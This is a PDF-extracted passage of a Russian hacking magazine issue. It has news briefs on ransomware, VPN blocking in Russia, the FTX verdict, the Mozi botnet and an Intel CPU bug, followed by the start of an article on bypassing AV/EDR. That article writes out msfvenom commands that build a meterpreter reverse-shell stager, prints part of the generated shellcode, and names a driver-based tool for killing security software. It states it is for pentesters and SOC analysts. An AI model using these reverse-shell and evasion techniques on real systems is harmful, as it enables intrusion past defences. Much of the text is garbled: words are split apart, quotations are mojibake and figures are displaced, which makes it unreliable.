Так же опе рато ры BlackCat опуб ликова ли на сво ем сай те и авто мати чес кий
ответ, получен ный от SEC, информи рующий о том, что их заяв ление при нято.

Де ло в том, что пос ле мно гочис ленных атак на аме рикан ские орга низа ции
SEC при няла новые пра вила, сог ласно которым ком пании, чьи акции тор гуют- 
ся на бир же, обя заны уве дом лять влас ти о киберин циден тах, ока зыва ющих
сущес твен ное вли яние на их работу (то есть могущих пов лиять на инвести- 
цион ные решения). Такое уве дом ление в SEC ком пании дол жны подавать
в течение четырех рабочих дней с момен та обна руже ния инци ден та и приз- 
нания его сущес твен ным. Одна ко сто ит отме тить, что новые пра вила всту- 
пают в силу толь ко 15 декаб ря 2023 года.

В беседе со СМИ пред ста вите ли MeridianLink под твер дили факт ата ки
и сооб щили, что пос ле обна руже ния инци ден та ком пания незамед литель но
при няла меры для локали зации угро зы и прив лекла к рас сле дова нию груп пу
сто рон них ИБ-экспер тов.

Ком пания добави ла, что в нас тоящее вре мя про дол жает рас сле дова ние,
которое дол жно показать, зат ронула ли ата ка лич ную информа цию поль- 
зовате лей, и в слу чае необ ходимос ти уве домит об этом пос тра дав шие сто- 
роны.

«
»

«Â ðåçóëü òàòå ïðî âåäåí íîãî ðàñ ñëå äîâà íèÿ ìû íå îáíà ðóæè ëè
íèêàêèõ äîêàçà òåëü ñòâ íåñàí êöè îíè ðîâàí íîãî äîñ òóïà ê íàøèì ïðî- 
èçâîäñ òâåí íûì ïëàò ôîðìàì, è ýòîò èíöè äåíò ïðè âåë ëèøü ê íåç- 
íà÷èòåëü íûì ñáî ÿì â [íàøåé] ðàáîòå», — ïîä ÷åð êíó ëè â MeridianLink.

АТАК НА РОССИЙСКИЕ КОМПАНИИ СТАЛО НА 
БОЛЬШЕ

16%

По дан ным ГК «Солар», рос сий ские ком пании в пос ледние месяцы стол кну лись с новой вол ной
точеч ных и прод винутых атак. Так, в треть ем квар тале рост чис ла под твержден ных инци ден тов
сос тавил , и сум марно за тре тий квар тал экспер ты зафик сирова ли  под твержден- 
ных атак. Пред посылок для сни жения это го трен да в бли жай шее вре мя иссле дова тели не видят.

16% 10 200

Ко личес тво под твержден ных ИБ-инци ден тов

Мал варь ста ла самым популяр ным инс тру мен том у хакеров — доля инци ден тов с исполь зовани- 
ем вре донос ного соф та вырос ла с  до . Основным каналом дос тавки по-преж нему оста- 
ются  с фокусом на пер сонал ком паний, они занима ют  от дру гих
атак с при мене нием вре доно сов.

71 83%
фи шин говые пись ма 2/3

РКН ЗАБЛОКИРУЕТ
SHADOWSOCKS

По дан ным СМИ, Рос комнад зор (РКН) впер вые вклю чил про токол
Shadowsocks в спи сок VPN-сер висов, под пада ющих под бло киров ку.
Для бло киров ки это го про токо ла ведомс тво будет исполь зовать тех ничес кие
средс тва про тиво дей ствия угро зам (ТСПУ) на транс гра нич ных соеди нени ях.

Как пишет изда ние « », соз данный в Китае для обхо да цен зуры
про токол Shadowsocks чаще все го исполь зуют прос тые граж дане для час тных
VPN и ИБ-спе циалис ты. Так как он мас киру ет свой тра фик под дру гие ресур- 
сы, бло киров ка может нарушить работу мно гих легаль ных сер висов.

Ком мерсант

Ра нее в сети появи лось пись мо Мин тран са, нап равлен ное
в адрес 381 орга низа ции тран спортной отрасли от 10 нояб ря 2023 года.

Из докумен та сле дует, что Рос комнад зор может бло киро вать 49 VPN-сер- 
висов и про токо лов через цен тра лизо ван ное управле ние сетью обще го поль- 
зования (с помощью ТСПУ, которые уста нов лены на сетях опе рато ров свя зи
по закону «о суверен ном рунете»). Для обес печения работы инфор мсис тем,
которые могут исполь зовать VPN для защищен ных соеди нений и уда лен ного
дос тупа, орга низа ции дол жны пре дос тавить информа цию об исполь зуемых
сер висах и про токо лах до 15 нояб ря 2023 года.

В Рос комнад зоре отка зались от ком мента риев отно ситель но это го
докумен та, а в Мин тран се не отве тили на зап рос жур налис тов.

Как сооб щили изда нию экспер ты, что бы избе жать проб лем с бло киров- 
ками кор поратив ных сетей, исполь зующих VPN, РКН зап рашива ет у раз ных
отраслей информа цию о том, какими сер висами они поль зуют ся, а затем
«соз дают ся так называ емые белые спис ки».

Как вид но из таб лицы выше, в спи сок ведомс тва вошел не толь ко про токол
Shadowsocks, но даже сер вис ItHelper рос сий ско го раз работ чика «Софт
Прог рамм», пред назна чен ный для уско рения работы устрой ств со встро- 
енным VPN, под писка на который сво бод но про дает ся в «М.Видео-Эль- 
дорадо».

Мас совые проб лемы с работой VPN-сер висов в Рос сии  
 2022 года. Тог да Рос комнад зор стал экспе римен тировать с бло киров- 

кой кон крет ных про токо лов (отме чались проб лемы с L2TP, IKEv2 и IPsec), а в
августе текуще го года поль зовате ли  о проб лемах в работе
OpenVPN и WireGuard.

на чались еще
летом

ста ли сооб щать

Как объ яснил собесед ник «Ком мерсан та», сна чала Рос комнад зор бло- 
киро вал VPN по IP-адре сам, одна ко они могут менять ся, и при ходит ся
регуляр но попол нять реестр. И если OpenVPN и WireGuard дос таточ но рас- 
простра нен ные про токо лы, которые час то исполь зуют ся для пос тро ения
защищен ных соеди нений ком пании, от Shadowsocks они отли чают ся тем, что
не мас киру ют тра фик при соеди нении, «пос коль ку исходно они не соз- 
давались для обхо да цен зуры и бло киро вок». Поэто му их, в отли чие
от Shadowsocks, про ще заб локиро вать с исполь зовани ем средств ТСПУ.

Дру гой источник изда ния уточ нил, что бло киров ка Shadowsocks «через
ана лиз тра фика будет очень неп ростой из-за обфуска ции — высоки рис ки
зат ронуть дру гие, впол не легаль ные сер висы».

КОЛИЧЕСТВО ИНСАЙДЕРСКИХ АТАК УВЕЛИЧИЛОСЬ
В 1,5 ÐÀÇÀ

Эк спер ты ком пании «Инфо сис темы Джет» про вели иссле дова ние, пос вящен ное инсай дер ским
угро зам.

С начала 2023 года инсай дер ские ата ки от рядовых поль зовате лей уве личи лись в 
по срав нению с ана логич ным пери одом прош лого года.

1,5  раза

Спрос на инсай дер скую информа цию за пер вое полуго дие 2023 года вырос на .25%

У  ком паний обна ружи вают ся кри тич ные недос татки в про цес се управле ния дос тупом. И в
подав ляющем боль шинс тве слу чаев ( ) в рам ках внут ренне го тес тирова ния на про ник- 
новение уда ется получить дос туп к кри тич ной информа ции с пра вами обыч ного поль зовате ля.

70%
83%

Са мыми опас ными инсай дерами ста новят ся текущие работ ники, работ ники с при виле гиро ван- 
ными пра вами дос тупа, а так же работ ники под рядчи ков, име ющие дос туп к кор поратив ным
ресур сам.

В дар кне те и Telegram-каналах так же есть пос тоян ный спрос на покуп ку и про дажу инсай дер- 
ской информа ции. Объ явле ния такой нап равлен ности сос тавля ют око ло  всех пред- 
ложений на теневом рын ке (это может быть покуп ка и про дажа дос тупов к кор поратив ным
сетям или поиск готовых сот рудни чать со зло умыш ленни ками работ ников ком паний).

тре ти

Ос новны ми при чина ми успе ха инсай дер ских атак ста новят ся отсутс твие или недос таточ ность
кон тро ля за несан кци они рован ными дей стви ями ( ), отсутс твие сво евре мен ного реаги- 
рова ния на инци ден ты ( ) и наличие избы точ ных прав дос тупа ( ).

78%
62% 59%

Продолжение статьи →
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БЭНКМАН-ФРИД
ПРИЗНАН
ВИНОВНЫМ

Фе дераль ный суд с учас тием при сяж ных заседа телей приз нал осно вате ля
и быв шего гла ву крип товалют ной бир жи FTX и фон да Alameda Research Сэма
Бэн кма на-Фри да винов ным по семи пун ктам обви нения. Мак сималь ный срок
лишения сво боды по этим обви нени ям сос тавля ет 110 лет.

На поми наем, что мы пос вятили кра ху FTX и скан далу, свя зан ному с ее бан- 
кротс твом, .боль шую статью

Су деб ный про цесс про ходил в окружном суде США по Южно му окру гу
Нью-Йор ка, рас положен ном на Ман хэтте не. В 
ска зано, что Сэм Бэн кман-Фрид «прис воил и рас тра тил средс тва кли ентов
FTX и исполь зовал мил лиар ды дол ларов похищен ных средств... для собс твен- 
ного обо гаще ния; под держа ния деятель нос ти FTX; финан сирова ния спе куля- 
тив ных вен чурных инвести ций; сде лал более ста мил лионов дол ларов взно- 
сов в изби ратель ные кам пании демок ратов и рес публи кан цев с целью пов- 
лиять на крип товалют ное регули рова ние; а так же для опла ты опе раци онных
рас ходов Alameda». Так же его обви нили в том, что он делал «лож ные
и мошен ничес кие заяв ления и утвер жде ния для инвесто ров FTX и кре дито ров
Alameda».

об винитель ном зак лючении

В спи сок из  вхо дят:се ми обви нений
мо шен ничес тво с исполь зовани ем элек трон ных средств свя зи;•
сго вор с целью совер шения мошен ничес тва с исполь зовани ем элек трон- 
ных средств свя зи про тив кли ентов FTX;

•

мо шен ничес тво с исполь зовани ем элек трон ных средств свя зи по отно- 
шению к кре дито рам Alameda Research;

•

сго вор с целью совер шения мошен ничес тва с исполь зовани ем элек трон- 
ных средств свя зи в отно шении кре дито ров Alameda Research;

•

сго вор с целью совер шения мошен ничес тва с цен ными бумага ми
инвесто ров FTX;

•

сго вор с целью совер шения мошен ничес тва с цен ными бумага ми кли- 
ентов FTX в свя зи с покуп кой и про дажей крип товалю ты и сво пов;

•

сго вор с целью отмы вания денег.•

Пять обви нений, свя зан ных с мошен ничес твом с исполь зовани ем элек трон- 
ных средств свя зи и отмы вани ем денег, пре дус матри вают мак сималь ное
наказа ние в виде двад цати лет лишения сво боды за каж дое, а оставши еся
два обви нения — в виде пяти лет лишения сво боды за каж дое.

При сяж ные вынес ли вер дикт пос ле при мер но четырех часов обсужде ния.
Фак тичес кий при говор быв шему гла ве FTX будет вынесен и огла шен 28 мар- 
та 2024 года.

На этом про цес се Сэм Бэн кман-Фрид, который так и не приз нал себя
винов ным, решил дать показа ния в свою защиту и попытал ся перело жить
вину за слу чив шееся на дру гих. Сооб щает ся, что на воп росы обви нения он
боль ше ста раз отве чал «я не уве рен» или «я не пом ню», избе гая пря мых
отве тов.

Так же он заявил, что допус тил ошиб ки, управляя FTX (нап ример, не сфор- 
мировал коман ду по управле нию рис ками), но не похищал средс тва кли ентов.
Бэн кман-Фрид под черки вал, что, по его собс твен ному мне нию, заимс тво- 
вания, которые Alameda делала у FTX, были раз решены, и он не осоз навал,
нас коль ко велики дол ги, пока дело не дош ло до кра ха обе их ком паний.

Три экс-руково дите ля FTX и дочер ней Alameda Research (Гэри Ван, Нишад
Сингх и быв шая девуш ка Бэн кма на-Фри да Кэролайн Элли сон) приз нали свою
вину и дали показа ния про тив быв шего руково дите ля. В сво их показа ниях они
заяви ли, что Бэн кман-Фрид нап равлял их на совер шение прес тупле ний, в том
чис ле помогал Alameda раз граб лять FTX, а так же лгал кре дито рам и инвесто- 
рам о нас тоящем положе нии дел в ком пани ях.

В нояб ре были пред став лены зак лючитель ные аргу мен ты сто рон, и судеб- 
ный про цесс, длив ший ся око ло месяца, подошел к кон цу.

В суде про курор США Николас Роос заяв лял, что нет никаких серь езных
сом нений в том, что 10 мил лиар дов дол ларов средств, при над лежащих кли- 
ентам FTX, про пали, и что теперь при сяж ные дол жны решить, знал ли Бэн- 
кман-Фрид о том, что его дей ствия были неп равомер ными.

«
»

«Ýòî áûëà öåëàÿ ïèðàìè äà îáìà íà, ïîñ òðî åííàÿ ïîä ñóäèìûì íà ôóí- 

äàìåí òå èç ëæè è ëîæ íûõ îáå ùàíèé, è âñå ýòî äëÿ òîãî, ÷òî áû

ïîëó÷èòü äåíü ãè, — ñêà çàë Ðîîñ. — Â èòî ãå îíà ðóõ íóëà, îñòà âèâ ïîñ ëå

ñåáÿ òûñÿ÷è æåðòâ».

За щит ник экс-гла вы FTX Марк Коэн нас таивал на том, что Бэн кман-Фрид
допус кал ошиб ки, но не совер шал прес тупле ний:

«
»

«Áèç íåñ�ðåøåíèÿ, ïðè íÿòûå èç ëó÷ øèõ ïîáóæ äåíèé, íå ÿâëÿ þòñÿ

îñíî âàíè åì äëÿ îñóæ äåíèÿ, — çàÿâ ëÿë Êîýí. — Ïëî õîå óïðàâëå íèå

ðèñ êàìè — ýòî íå ïðåñ òóïëå íèå. Ïëî õèå áèç íåñ�ðåøåíèÿ — íå ïðåñ- 

òóïëå íèå».

Сто рона обви нения срав нивала эту аргу мен тацию с тем, «как если бы кто-то
огра бил юве лир ный магазин и оправды вал свои дей ствия тем, что там
не было охранни ка». «Обви няемый знал, что пос тупа ет неп равиль но, и имен- 
но поэто му не стал нанимать спе циалис тов по управле нию рис ками», — нас- 
таивал про курор Дани эль Сас сун.

Хо тя завер шивший ся судеб ный про цесс охва тывал семь уго лов ных обви- 
нений, в общей слож ности Бэн кма ну-Фри ду были предъ явле ны обви нения
по две над цати пун ктам. Отдель ное судеб ное раз биратель ство, зап ланиро- 
ван ное на март 2024 года, будет пос вящено оставшим ся обви нени ям,
а имен но мошен ничес тву про тив кли ентов FTX в свя зи с покуп кой и про дажей
дерива тивов, мошен ничес тву с цен ными бумага ми кли ентов FTX, сго вору
с целью совер шения бан ков ско го мошен ничес тва, сго вору с целью ведения
нелицен зирован ного биз неса по перево ду денег, а так же сго вору с целью
наруше ния анти кор рупци онных положе ний Закона о про тиво дей ствии кор- 
рупции за рубежом.

Пос ле огла шения вер дикта при сяж ных адво кат Марк Коэн заявил, что
«разоча рован», но ува жает их решение.

«
»

«Ìèñ òåð Áýí êìàí�Ôðèä íàñ òàèâàåò íà ñâî åé íåâèíîâ íîñòè è áóäåò

ïðî äîë æàòü àêòèâíî áîðîòü ñÿ ñ âûä âèíóòû ìè ïðî òèâ íåãî îáâè íåíè-

ÿìè», — ñîîá ùèë ïðåñ ñå Êîýí.

Сто ит отме тить, что с августа 2023 года Бэн кман-Фрид находит ся в тюрь ме,
куда попал пос ле того, как судья отме нил его  и домаш ний арест, при дя
к выводу, что быв ший гла ва FTX, веро ятно, пытал ся манипу лиро вать сви дете- 
лями.

за лог

АУДИТОРИЯ TELEGRAM В РОССИИ ВЫРОСЛА
ДО  ЧЕЛОВЕК82,3 ÌÈËËÈÎÍÀ

Ис сле дова тель ская ком пания Mediascope под счи тала, что ауди тория Instagram (при над лежит
кор порации Meta, деятель ность которой приз нана экс тре мист ской и зап рещена в РФ) пос ле
бло киров ки про дол жает падать. По ито гам октября 2023 года месяч ный охват плат формы
в Рос сии сос тавил все го  человек — в  мень ше, чем
в октябре 2021 года.

25,1  мил лиона 2,5  раза

При этом ауди тория Facebook, так же при над лежащей Meta, еще в 2022 году сок ратилась
в , с  до  человек, но с тех пор этот показа тель
не менял ся.

2,3  раза 41,3  мил лиона 18  мил лионов

Глав ным бенефи циаром про исхо дяще го стал Telegram: по ито гам октября 2023 года охват этой
плат формы сос тавил  человек, что на  боль ше, чем в октябре 2022 года,
и на  боль ше, чем в октябре 2021 года. Отме чает ся, что при этом рост дру гих рос сий ских
соц сетей («Вкон такте» и «Одноклас сни ков») замет но замед лился.

82,3 мил лиона 15%
62%

БОТНЕТ MOZI
ОТКЛЮЧИЛСЯ

Спе циалис ты стро ят теории о загадоч ном отклю чении бот нета Mozi, который
недав но был лик видиро ван с помощью спе циаль ного «рубиль ника», пред- 
назна чен ного для деак тивации всех ботов.

Mozi — извес тный DDoS-бот нет, появив ший ся еще  и нацелен- 
ный в пер вую оче редь на IoT-устрой ства, такие как мар шру тиза торы, DVR
и дру гие гад жеты, под клю чен ные к интерне ту. Эта мал варь исполь зовала
извес тные уяз вимос ти и сла бые пароли для ком про мета ции устрой ств
и вклю чения их в свою P2P-сеть, где они вза имо дей ство вали с помощью про- 
токо ла BitTorrent DHT.

в 2019 году

В июне 2021 года китай ская ИБ-ком пания Qihoo 360 сооб щала, что Mozi
нас читыва ет око ло 1,5 мил лиона заражен ных устрой ств, более 800 тысяч
находят ся в Китае. Спус тя нес коль ко недель пос ле это го ком пания 

, что помога ла пра воох ранитель ным орга нам в арес те пред полага емых
раз работ чиков Mozi, отме тив при этом, что сам бот нет, ско рее все го, сох- 
ранит жиз неспо соб ность и про дол жит работу.

рас ска- 
зала

Как сооб щили теперь спе циалис ты ком пании ESET, рез кое падение
активнос ти Mozi началось еще 8 августа 2023 года с оста нов ки всех опе-
раций бот нета в Индии. За этим 16 августа 2023 года пос ледова ло ана логич- 
ное вне зап ное прек ращение деятель нос ти в Китае, на родине бот нета.

За тем 27 сен тября 2023 года всем ботам Mozi восемь раз было отправ лено
оди нако вое UDP-сооб щение с ука зани ем заг рузить обновле ние через HTTP,
которое при вело к сле дующе му:

лик видация вре донос ного про цес са Mozi;•
от клю чение некото рых сис темных служб (sshd и dropbear);•
за мена фай ла Mozi;•
вы пол нение команд кон фигура ции на устрой стве;•
бло киров ка дос тупа к раз личным пор там;•
соз дание плац дарма для нового фай ла.•

Ис сле дова тели счи тают, что это была кон тро лиру емая лик видация, так
как человек, акти виро вав ший этот «рубиль ник», решил под готовить заражен- 
ные сис темы для новой полез ной наг рузки, которая может пин говать уда лен- 
ный сер вер.

Ана лиз кода, про веден ный иссле дова теля ми, показал зна читель ное
сходс тво меж ду ори гиналь ным кодом Mozi и бинар ными фай лами, исполь- 
зован ными при унич тожении бот нета, в которых были ука заны кор рек тные
при ват ные клю чи для под писи пей лоада. По мне нию спе циалис тов,
это намека ет на при час тность к унич тожению бот нета его соз дателей
или китай ских пра воох ранитель ных орга нов.

«

»

«Óíè÷ òîæåíèå îäíî ãî èç ñàìûõ ìîù íûõ IoT-áîò íåòîâ ïðåä ñòàâ ëÿåò

ñîáîé èíòå ðåñ íûé ñ òî÷ êè çðå íèÿ êèáåð êðè ìèíà ëèñ òèêè ñëó ÷àé,

äàþùèé íàì èíòðè ãóþùóþ òåõ íè÷åñ êóþ èíôîðìà öèþ î òîì, êàê ñîç- 

äàþò ñÿ, ðàáîòà þò è ëèê âèäèðó þòñÿ ïîäîá íûå áîò íåòû», — ïèøóò àíà- 

ëèòè êè ESET.

ТЕЛЕКОМЫ СТАНОВЯТСЯ ЖЕРТВАМИ DDOS
Ана лити ки груп пы ком паний «Гар да» про вели иссле дова ние изме нений лан дшаф та и осо бен- 
ностей DDoS-атак в треть ем квар тале 2023 года.

До ля флу да TCP SYN зна читель но вырос ла, дос тигнув . На вто ром мес те ( ) рас- 
положил ся флуд TCP ACK, а UDP-флуд занима ет третье мес то с .

60% 20%
13%

До ля атак типа DNS Amplication сос тавила все го , показав сни жение по срав нению со вто- 
рым квар талом, а доля NTP Amplication и вов се упа ла с  до .

3%
9 1%

На иболь ший объ ем атак был зарегис три рован на сетях . Это объ ясня- 
ется тем, что опе рато ры интенсив но борют ся с DDoS-ата ками, защищая как собс твен ные объ- 
екты, так и ресур сы сво их кли ентов, раз мещен ные в той же инфраструк туре.

те леком�опе рато ров

На вто ром мес те ока залась сфе ра . На треть ем — 
.

тран спор та и перево зок ре сур сы гос- 
секто ра

Так же иссле дова тели отме тили неожи дан но боль шое количес тво атак на 
 и . По их мне нию, это может говорить о попыт ках

хакеров воз дей ство вать на сек тор реаль ной эко номи ки.

топ ливно�энер- 
гетичес кий ком плекс про мыш ленность

БАГ REPTAR
УГРОЖАЕТ ЧИПАМ
INTEL

Ком пания Intel устра нила серь езную уяз вимость в про цес сорах для дес кто- 
пов, сер веров, мобиль ных устрой ств и встра иваемых сис тем, вклю чая новей- 
шие мик роар хитек туры Alder Lake, Raptor Lake и Sapphire Rapids. Проб лема
может исполь зовать ся для повыше ния при виле гий, получе ния дос тупа к кон- 
фиден циаль ной информа ции и про воци рова ния отка за в обслу жива нии.

Уяз вимость, обна ружен ная самими инже нера ми Intel, получи ла иден- 
тифика тор CVE-2023-23583 и опи сыва ется как «проб лема избы точ ного 

».
пре- 

фик са
Из началь но счи талось, что эта ошиб ка может исполь зовать ся толь ко

для про воци рова ния отка за в обслу жива нии (уяз вимость получи ла толь- 
ко 5,5 бал ла по шка ле CVSS), и Intel пла ниро вала выпус тить патч для нее
в мар те 2024 года. Одна ко более глу бокий ана лиз показал, что сущес тву ет
спо соб исполь зовать баг для повыше ния при виле гий, поэто му Intel перенес- 
ла дату выхода пат ча на ноябрь 2023 года. В ито ге оцен ка уяз вимос ти изме- 
нилась и теперь сос тавля ет 8,8 бал ла по шка ле CVSS.

«

»

«Ïðè îïðå äåëåí íûõ îáñòî ÿòåëü ñòâàõ íà ìèê ðîàð õèòåê òóðàõ Intel âûÿâ- 

ëåíû ñëó ÷àè, êîã äà âûïîë íåíèå èíñ òðóê öèè (REP MOVSB), çàêîäè- 

ðîâàí íîé ñ èçáû òî÷ íûì ïðå ôèê ñîì REX, ìîæåò ïðè âîäèòü ê íåï ðåä- 

ñêà çóåìî ìó ïîâåäå íèþ ñèñ òåìû, âûçûâà þùå ìó êðè òè÷åñ êèé ñáîé

èëè çàâèñà íèå, à â íåêîòî ðûõ ñöå íàðè ÿõ — ê ïîâûøå íèþ ïðè âèëå ãèé

ñ CPL3 äî CPL0, — ñîîá ùàþò èíæå íåðû Intel. — Intel íå ðàñ ñ÷è òûâà åò,

÷òî êàêîå�ëèáî íåâ ðåäîíîñ íîå ïðîã ðàì ìíîå îáåñ ïå÷åíèå ñòîë êíåò ñÿ

ñ ýòîé ïðîá ëåìîé â ðåàëü íûõ óñëî âèÿõ. Îæè äàåò ñÿ, ÷òî èçáû òî÷ íûå

ïðå ôèê ñû REX íå áóäóò ïðè ñóòñ òâî âàòü â êîäå è ãåíåðè ðîâàòü ñÿ êîì-

ïèëÿòî ðàìè. Âðå äîíîñ íàÿ ýêñ ïëó àòà öèÿ ýòîé ïðîá ëåìû òðå áóåò

âûïîë íåíèÿ ïðî èçâîëü íîãî êîäà. Òàê æå â ðàì êàõ âíóò ðåííåé ïðî âåð- 

êè, ïðî âåäåí íîé â êîí òðî ëèðó åìîé ëàáîðà òîð íîé ñðå äå, Intel âûÿâè ëà

âîç ìîæíîñòü ïîâûøå íèÿ ïðè âèëå ãèé â îïðå äåëåí íûõ ñöå íàðè ÿõ».

Сис темы с уяз вимыми про цес сорами, в том чис ле с Alder Lake, Raptor Lake
и Sapphire Rapids, уже получи ли обновлен ные мик рокоды, при чем эти пат чи
не ока зыва ют вли яния на про изво дитель ность.

Так же ком пания выпус тила обновле ния мик рокода для дру гих про цес- 
соров. Поль зовате лям рекомен дует ся обно вить BIOS, ОС и драй веры, что бы
получить пат чи от OEM-про изво дите лей, пос тавщи ков ОС и пос тавщи ков
гипер визоров.

Пол ный спи сок про цес соров, зат ронутых уяз вимостью CVE-2023-23583,
а так же рекомен дации по ее устра нению .дос тупны на сай те Intel

Эк сперт Google Тэвис Орманди (Tavis Ormandy) сооб щил, что ту же уяз- 
вимость самос тоятель но обна ружи ли нес коль ко иссле дова тель ских групп
Google, вклю чая Google Information Security Engineering и коман ду silifuzz,
которые дали проб леме имя Reptar.

Как пояс нил вице-пре зидент и CISO Google Cloud Фил Венаблс (Phil
Venables), баг свя зан с тем, «как избы точ ные пре фик сы интер пре тиру ются
про цес сором, что в слу чае успешной экс плу ата ции при водит к обхо ду защит- 
ных гра ниц».

По дан ным спе циалис тов Google, зло умыш ленник в мно гополь зователь- 
ской вир туаль ной сре де может исполь зовать эту уяз вимость для ата ки на гос- 
тевую машину, что при ведет к отклю чению хос та и отка зу в обслу жива нии
для дру гих гос тей на этом хос те. Так же, как уже отме чалось выше, проб лема
может помочь рас крыть информа цию и повысить при виле гии.

Кри тичес кий баг в Atlassian Conuence при водит к потере дан ных

Об наружен под поль ный сер вис для сок ращения URL

Для борь бы с рас простра нени ем мал вари Discord будет исполь зовать вре мен ные ссыл ки

LockBit взло мала Boeing и сли вает похищен ные дан ные

Ал горит мы стан дарта тран кинго вой свя зи TETRA ста нут дос тупны широкой пуб лике

Ата ка CacheWarp поз воля ет обой ти защиту AMD SEV и получить root-дос туп

Ис сле дова тели извле кают клю чи RSA из SSH-тра фика

Крип товалют ные кошель ки 2011–2015 годов уяз вимы перед проб лемой Randstorm

Раз работ чики Lumma заяви ли, что могут вос ста новить уста рев шие cookie Google

Па роли адми нис тра торов рас кры ты из-за кри тичес кого бага в ownCloud

https://xakep.ru/2022/11/28/ftx-crash/
https://storage.courtlistener.com/recap/gov.uscourts.nysd.590939/gov.uscourts.nysd.590939.202.0_2.pdf
https://storage.courtlistener.com/recap/gov.uscourts.nysd.590939/gov.uscourts.nysd.590939.202.0_2.pdf
https://xakep.ru/2022/12/23/sbf-released/
https://xakep.ru/2019/12/27/mozi/
https://xakep.ru/2021/09/01/mozi-dying/
https://wiki.osdev.org/X86-64_Instruction_Encoding#Opcode
https://www.intel.com/content/www/us/en/developer/articles/technical/software-security-guidance/advisory-guidance/redundant-prefix-issue.html
https://xakep.ru/2023/11/01/critical-confluence-flaw/
https://xakep.ru/2023/11/03/prolific-puma/
https://xakep.ru/2023/11/07/discord-cdn-abuse/
https://xakep.ru/2023/11/13/boeing-leak/
https://xakep.ru/2023/11/15/tetra-open-source/
https://xakep.ru/2023/11/15/cachewarp/
https://xakep.ru/2023/11/20/lattice-attack-ssh/
https://xakep.ru/2023/11/22/randstorm/
https://xakep.ru/2023/11/23/lumma-session-cookies/
https://xakep.ru/2023/11/27/owncloud-flaws/
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Ан тивиру сы и сис темы EDR ста новят ся всё
наворо чен нее и даже исполь зуют машин- 
ное обу чение для более точ ного детек- 
тирова ния. Но у авто ров мал вари по-преж- 
нему оста ются спо собы обой ти все про- 
вер ки. В этой статье я покажу нес коль ко
тех ник и инс тру мен тов, которые при меня ют
зло умыш ленни ки.

Ма тери ал приз ван помочь прак тику ющим спе циалис там по пен тесту и SoC-
ана лити кам разоб рать ся с тем, как зло умыш ленни ки могут про никать в сис- 
темы, минуя EDR (endpoint detection & response).

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

ÍÀ ×ÅÌ ÌÛ ÒÅÑÒÈÐÎÂÀËÈ

Для иссле дова ний мы исполь зовали Kaspersky Endpoint Detection
and Response и его вари ацию для Linux (KESL), опен сор сный ClamAV, McAffee,
Microsoft Defender Advanced Threat Protection, а так же VirusTotal.

Ко неч ная цель — получить обратное соеди нение на наш C2-сер вер, роль
которо го будет исполнять Metasploit Framework, один из самых популяр ных
пен тестер ских инс тру мен тов.

За пос ледние годы АV и EDR научи лись уже на ран них ста диях обна ружи- 
вать фай лы, которые были сге нери рова ны Metasploit, потому что сущес тву ет
мно жес тво сиг натур для выяв ления уста нов ки bind- и reverse-шел лов. EDR
опре деля ют, какие фай лы .dll и .so исполь зуют ся при стар те обо лоч ки
Meterpreter, и это лишь малая часть приз наков, помога ющих выявить вре- 
донос ный про цесс. Для чис тоты экспе римен та мы возь мем шелл-код, сге- 
нери рован ный через msfvenom, и будем пытать ся его модер низиро вать.

Но для начала пос мотрим, сколь ко сей час дает бал лов VirusTotal на дефол- 
тный exe-стей джер, сге нери рован ный сле дующей коман дой:

eth0 444  
exe 
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f

-o ab.exe 

Ре зуль таты про вер ки на VirusTotal

То есть стан дар тный стей джер без проб лем обна ружи вает ся сов ремен ными
защит ными решени ями.

Да вай поп робу ем сде лать вари ант с обхо дом. Будем генери ровать
шелл-код на С, так как это иде аль ный выбор, если нам нуж на ско рость
и кросс-плат формен ность.

Вот как выг лядит наш пер воначаль ный шелл-код:

 

 
[-] No platform was selected, choosing Msf::Module::Platform::Windows 
from the payload 
 
[-] No arch selected, selecting arch: x86 from the payload 

 

 

 

 

 

 

$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=444-f c

No encoder specified, outputting raw payload

Payload size: 354 bytes

Final size of c file: 1518 bytes

unsigned char buf[] = 
"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x64\x8b\x52\x30\x89" 
"\xe5\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"

...

"\x5e\xff\x0c\x24\x0f\x85\x70\xff\xff\xff\xe9\x9b\xff\xff" 
"\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb\xf0\xb5\xa2\x56\x6a" 
"\x00\x53\xff\xd5";

Ни чего необыч ного. Шелл-код прос то дает реверс-шелл, а обмен дан ных
про исхо дит по TCP. Мы даже не при меня ли шиф рование и кодиро вание.

В пос ледние годы боль шинс тво вен доров AV/EDR внед рили поведен ческий
ана лиз с исполь зовани ем машин ного обу чения, что поз воля ет более точ но
ана лизи ровать поведе ние прог раммы и клас сифици ровать ее как вре донос- 
ную. Для это го про водит ся пос тоян ный монито ринг про цес са: EDR срав нива- 
ет дей ствия с про филя ми поведе ния. Это повыша ет шан сы обна руже ния,
но наг ружа ет сис тему, может при водить к лож ным сра баты вани ям и кон флик- 
там с дру гим ПО.

И конеч но, по-преж нему акту аль ны ста рые методы:
эв ристи чес кий ана лиз;•
сиг натур ный ана лиз•
сен дбок синг;•
IAT checking (про вер ка исполь зуемых фун кций и биб лиотек. Нап ример,
если в IAT есть фун кции шиф рования, то EDR может решить, что перед ним
шиф роваль щик);

•

API hooking (перех ват вызовов фун кций и перенап равле ние потока кода).•

В общем, чем даль ше, тем боль ше вся ких про верок.

На сетевом уров не сущес тву ет нес коль ко
методов, которые мож но исполь зовать, что бы
попытать ся избе жать обна руже ния: DNS-тун- 
нелиро вание, самопод писан ные сер тифика ты
HTTPS, про токол ICMP. Одна ко сов ремен ные сис- 
темы обна руже ния угроз не под дают ся на все эти
улов ки.

ÔÐÅÉÌÂÎÐÊÈ ÄËß ÎÁÕÎÄÀ AV/EDR

NimBlackout
 поз воля ет уда лить AV/EDR при помощи уяз вимого драй вера.

Драй вер GMER исполь зует ся для вза имо дей ствия с ядром опе раци онной
сис темы и дает воз можность обна ружи вать и ана лизи ровать скры тые вре- 
донос ные эле мен ты.

NimBlackout

